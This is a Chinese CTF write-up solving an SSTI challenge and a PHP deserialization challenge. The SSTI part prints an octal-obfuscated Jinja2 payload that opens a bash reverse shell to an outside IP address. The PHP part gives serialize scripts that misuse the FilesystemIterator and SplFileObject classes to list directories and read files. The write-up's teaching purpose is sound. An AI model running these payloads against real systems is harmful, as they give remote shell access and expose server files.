签到
基础题
![](https://gitee.com/R1ta_Violet/blogimg/raw/master/imgs/image-20210806120716307.png)
flag{you_are_great!!!}
easyssti
ssti弹shell
ssti,主要考点是如何闭合。
测试发现{%print(1)%}
成功返回。
![](https://gitee.com/R1ta_Violet/blogimg/raw/master/imgs/image-20210806120923584.png)
__globals__查看当前位置的全部模块,方法和全局变量。
name=%7B%25print((lipsum|attr(“__globals__“)))%25%7D
values()查找可利用模块。
name=%7B%25print((lipsum|attr(“__globals__“)).values()[18].values()[134])%25%7D
![](https://gitee.com/R1ta_Violet/blogimg/raw/master/imgs/image-20210806121618333.png)
利用eval弹shell,使用八进制绕过。
1
| name=%7B%25print((lipsum|attr("__globals__")).values()[18].values()[134]("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\142\141\163\150\40\55\143\40\42\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\61\66\56\66\62\56\62\64\63\56\62\63\61\57\61\62\63\64\40\60\76\46\61\42\47\51\56\162\141\145\144\50\51"))%25%7D
|
![](https://gitee.com/R1ta_Violet/blogimg/raw/master/imgs/image-20210806130713332.png)
拿到flag
flag{zPkb3tzUW8m0KuSfPoPqgSU37I4ui2hZ}
easyphp
php反序列化
题目直接给出源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php error_reporting(0); highlight_file(__FILE__);
class XMAN{ public $class; public $para; public $check; public function __construct() { $this->class = "Hel"; $this->para = "xctfer"; echo new $this->class ($this->para); } public function __wakeup() { $this->check = new Filter; if($this->check->vaild($this->para) && $this->check->vaild($this->class)) { echo new $this->class ($this->para); } else die('what?Really?'); }
} class Hel{ var $a; public function __construct($a) { $this->a = $a; echo ("Hello bro, I guess you are a lazy ".$this->a); } } class Filter{
function vaild($code){ $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i'; if (preg_match($pattern, $code)){ return false; } else return true; } }
if(isset($_GET['xctf'])){ unserialize($_GET['xctf']); } else{ $a=new XMAN; }
|
可以看出来是php反序列化题。
可利用点只有echo new $this->class ($this->para);
。
应该是利用php原生类进行文件读取。
利用FilessystemIterator类查看目录文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
class XMAN{ public $class; public $para; public $check;
public function __construct(){ $this->class = "FilesystemIterator"; $this->para = "./"; } }
$x = new XMAN(); echo serialize($x);
|
![](https://gitee.com/R1ta_Violet/blogimg/raw/master/imgs/image-20210806122559447.png)
拿到了flag文件名。
利用SplFileObject原生类查看文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
class XMAN{ public $class; public $para; public $check;
public function __construct(){ $this->class = "SplFileObject"; $this->para = "./xxxXXXmMManNNn/f1a4.php"; } }
$x = new XMAN(); echo serialize($x);
|
![](https://gitee.com/R1ta_Violet/blogimg/raw/master/imgs/image-20210806122723103.png)
拿到flag。
flag{928erf51ab894a64f7865cf3c2128b34}